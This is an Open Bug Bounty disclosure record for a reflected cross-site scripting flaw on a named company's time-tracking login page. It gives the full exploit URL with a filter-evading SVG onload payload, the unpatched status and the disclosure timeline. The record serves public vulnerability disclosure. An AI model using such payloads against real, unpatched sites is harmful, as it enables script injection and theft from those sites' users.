Lucene search

K
openbugbountySpam404OBB:141573
HistoryMar 15, 2016 - 3:55 a.m.

timeforce.payprocorp.com XSS vulnerability

2016-03-1503:55:00
Spam404
www.openbugbounty.org
9
Vulnerable URL:
https://timeforce.payprocorp.com/qqest/Login/LDAP.asp?message=%3C/scRipt/--!%3E\spam404/%3CsVg/oNloAd=alert%28/XSSPOSED/%29//%3E\x3e
Details:
Description Value
Patched: No
Latest check for patch: 26.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
Google Pagerank 0
VIP website status: No
Check timeforce.payprocorp.com SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 15 March, 2016 03:55 GMT
Generic security notifications sent to website owner 15 March, 2016 03:58 GMT
Notification sent to subscribers (without technical details) 15 March, 2016 06:17 GMT
Vulnerability details disclosed by researcher 7 June, 2016 04:11 GMT